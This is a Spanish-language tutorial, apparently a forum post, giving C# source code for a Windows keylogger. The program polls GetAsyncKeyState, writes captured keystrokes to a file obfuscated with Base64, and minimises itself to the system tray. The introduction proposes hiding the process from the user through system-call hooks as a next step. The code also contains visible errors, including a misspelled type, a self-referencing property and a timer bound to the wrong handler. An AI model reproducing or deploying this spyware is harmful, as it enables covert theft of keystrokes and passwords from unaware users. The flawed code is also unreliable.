Introducción
En esta ocacion vamos a desarrollar una aplicación que nos va a permitir capturar las pulsaciones de teclas de un usuario y lo click de raton y almacenar esta información en un fichero de texto que ira codificado en Base64 (Esta codificacion es una codificacion muy sencilla, lo correcto seria utilizar un metodo de encriptación reversible mas complejo para que nadie pueda revisar el fichero de texto con un simple clic de rato), la aplicación tambien nos permitira ver el fichero de log generado y modificar alguna de las propiedades del KeyLogger antes de iniciarlo, para capturar las pulsaciones de las teclas utilizaremos una llamada a la API nativa de Win32 en concreto a la funcion GetAsyncKeyState de la librería user32.dll, como ultimo detalle dotaremos a la aplicación de minimizarse sobre el SysTray, el siguiente paso logico para esta aplicación seria conseguir que el usuario no supiera de la existencia de esta aplicación, esto lo podriamos realizar mediante algun Hook a alguna de las llamadas del sistema de mostrar procesos o etc….
Creando la clase de Logueo
Lo primero que haremos sera crearnos nuestra clase propia que sera la encargada de capturar las teclas e insertarlas en el fichero de texto, esta clase se basara en lo siguiente, mediante dos timer controlaremos lo siguiente, uno de los timer sera el encargado de controlar cuando se realizar la llamada a GetAsyncKeyState y el otro timer sera el encargado de controlar cuando se vacia el buffer de escritura (las pulsaciones se iran almacenando en un buffer ya que ir escribiendo cada pulsación de una tecla sobre el fichero en disco es una opcion poco recomendable) sobre el fichero de texto. Dicho esto el primer paso sera crearnos un proyecto y añadirle una nueva clase una vez echo esto pasaremos a definir nuestra clase de KeyLogger lo primero sera crearnos la definición a la llamada a las funciones de la APi de Win32 y crearnos nuestras variables:
Código: Seleccionar todo
// Definicion de la llamada a la API de Win32
[DllImport("user32.dll")]
private static
extern short GetAsyncKeyState(System.Int32 vKey);
private String keybuffer;
private System.Timers.Timer CheckKey;
private System.Timers.Timer FlushBuffer;
private String file;
Una vez definidas las variables y la funcion de la API nos crearemos una serie de propiedades accesibles desde fuera de la API que posteriormente nos ayudaran a iniciar o parar nuestro keylogger y para modificar ciertos parámetros de ella. Las propiedades que hemos definido en la clase son las siguientes:
Código: Seleccionar todo
// Controlamos el estado del keyLogger, dado que usamos dos timer esta propiedad
// nos va a permitir acceder a los dos simultáneamente para que no hay inconsistencias
public Bolean Enabled
{
get
{
return CheckKey.Enabled && FlushBuffer.Enabled;
}
set
{
CheckKey.Enabled=value;
FlushBuffer.Enabled=value;
}
}
// Con esta propiedad controlaremos el periodo de tiempo en el cual se vacia el buffer
// en el fichero de texto, de esta manera podremos configurar a medida el tiempo de vaciado
public Double FlushInterval
{
get
{
return FlushInterval.Interval;
}
set
{
FlushInterval.Interval=value;
}
}
// Y como ultima propiedad tenemos la propiedad que nos va a permitir especificar el fichero sobre el que
// queremos guardar los datos de logueo
public String File
{
get
{
return file;
}
set
{
file = value;
}
}
El siguiente paso sera definirnos el constructor correspondiente a nuestra clase donde crearemos e inicializaremos todos las variables necesarios y donde definiremos los delegados que posteriormente necesiteremos:
Código: Seleccionar todo
// Recibe un parametro que es el nombre del fichero donde se guardaran las teclas pulsadas
public KeyLogger(String filename)
{
// Vaciamos el buffer
keybuffer = string.Empty;
this.File = filename;
// Timer de captura de teclas
CheckKey = new System.Timers.Timer();
CheckKey.Enabled = true;
CheckKey.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed);
CheckKey.Interval = 10;
// Timer de vaciado del buffer
FlushBuffer = new System.Timers.Timer();
FlushBuffer.Enabled = true;
FlushBuffer.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed);
FlushBuffer.Interval = 120000;
}
Como se puede ver en el codigo anterior hemos definido dos delegados para cada evento Elapsed de cada timer, el evento Elapsed se produce cada vez que ha pasado el tiempo especificado en la propiedad Interval, sera en ese momento cuando realizemos las acciones correspondientes, empezaremos por el caso de la captura de teclas, como podemos ver en la definición de GetAsyncKeyState recibe un parámetro que es un entero y nos devuelve un short que nos indica si esa tecla ha sido o no ha sido pulsada, dado que tenemos que comprobar cual de todas la teclas posibles ha sido pulsada deberemos recorrer todas las teclas comprobando para cual de ellas GetAsyncKeyState nos devuelve un valor de “pulsado” la forma de realizar esto la podemos ver en el siguiente codigo:
Código: Seleccionar todo
// Recorremos el array devuelto por GetValues de todas las teclas definidas en la enumeración Keys
foreach(Int32 h in Enum.GetValues(typeof(System.Windows.Forms.Keys)))
{
if(GetAsyncKeyState(h) == -32767)
keybuffer+=Enum.GetName(typeof(System.Windows.Forms.Keys),h)+” “;
}
Antes de mostrar el codigo correspondiente al evento elapsed del timer FlushBuffer vamos a crearnos una nueva funcion que sera la encargada de escribir realmente el buffer sobre el fichero en disco, podemos ver la funcion en el siguiente codigo:
Código: Seleccionar todo
public void Flush2File(string file, bool append)
{
try
{
StreamWriter sw = new StreamWriter(file,append);
// Añadiremos una linea nueva cada vez que vaciemos el buffer, cada linea introducida ira codificada en Base64 para
// añadir un poco mas de seguridad al log y que no se pueda leer con un simple clic de raton
sw.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(keybuffer)));
sw.Close();
keybuffer = string.Empty;
}
catch(Exception ex)
{
throw ex;
}
}
Ahora si añadiremos por ultimo una llamada a la funcion Flush2File en el delegado del timer FlushBuffer.
Front-End de nuestro Keylogger
Una vez que tenemos creada la clase de logueo lo que haremos sera crearnos nuestra aplicación de escritorio para utilizarla, añadiremos a nuestra solucion un Windows Form que tendra un aspecto parecido al que se muestra en la imagen:
Como se puede ver en la imagen podremos especificarle tanto el periodo de tiempo en el que queremos que vaya grabando las pulsaciones en el fichero como el fichero sobre que el se guardaran. Dentro del evento Form_Load del formulario crearemos nuestra instancia de la clase y los parámetro iniciales para que este todo preparado al pulsar el boton de Stara KeyLog, podemos ver el codigo a continuación:
Código: Seleccionar todo
string filename=@”c:\keylogger.txt”;
KeyLogger kl;
textBox1.Text=”60000”;
textBox3.Text=filename;
try
{
KeyLogger = new KeyLogger(filename);
Kl.FlushInterval = Convert.ToDouble(textBox1.text);
}
catch(Exception)
{
MessageBox.Show(“FlushInterval especificado erroneo”);
}
Deberemos tambien escribir el codigo correspondiente al evento click de los botones de iniciar y parar el keylogger, el codigo correspondiente son los siguientes:
Código: Seleccionar todo
// Iniciar KeyLogger
kl.Enabled=true;
kl.Flush2File(textBox3.text,true);
// Parar KeyLogger
kl.Flush2File(textBox3.text,true);
kl.Enabled=false;
El siguiente paso sera crearnos un nuevo formulario donde visualizaremos el log, sera aqui donde decodificaremos el texto en base64 almacenado en el fichero, el constructor del visor recibira como parametro el nombre del fichero que sera el fichero que abrira para leerlo, dentro del formulario agregaremos un ritchTextBox que sera donde mostremos el registro de teclas, el codigo de Form_Load del nuevo formulario se muestra a continuacion:
StreamReader sr = new StreamReader(filename);
byte [] binary;
// Transformamos la cadena en Base64 al formato ASCII
System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding();
binary = Convert.FromBase64String(sr.ReadLine());
richTextBox1.Text = enc.GetString(binary);
// Vamos recorriendo el fichero hasta que lo hemos leido todo
while(!sr.EndOfStream)
{
binary = Convert.FromBase64String(sr.ReadLine());
richTextBox1.AppendText(enc.GetString(binary));
}
sr.Close();
Código: Seleccionar todo
if(this.WindowState == FormWindowState.Minimized)
this.Hide();
Código: Seleccionar todo
ContextMenu contextMenu = new ContextMenu();
contextMenu.MenuItems.Add(“&Restaurar”,new EventHandler(this.Restaurar));
notifyIcon1.ContextMenu = contextMenu;
Código: Seleccionar todo
this.Show();
this.WindowState = FormWindowState.Normal;
this.BringToFront();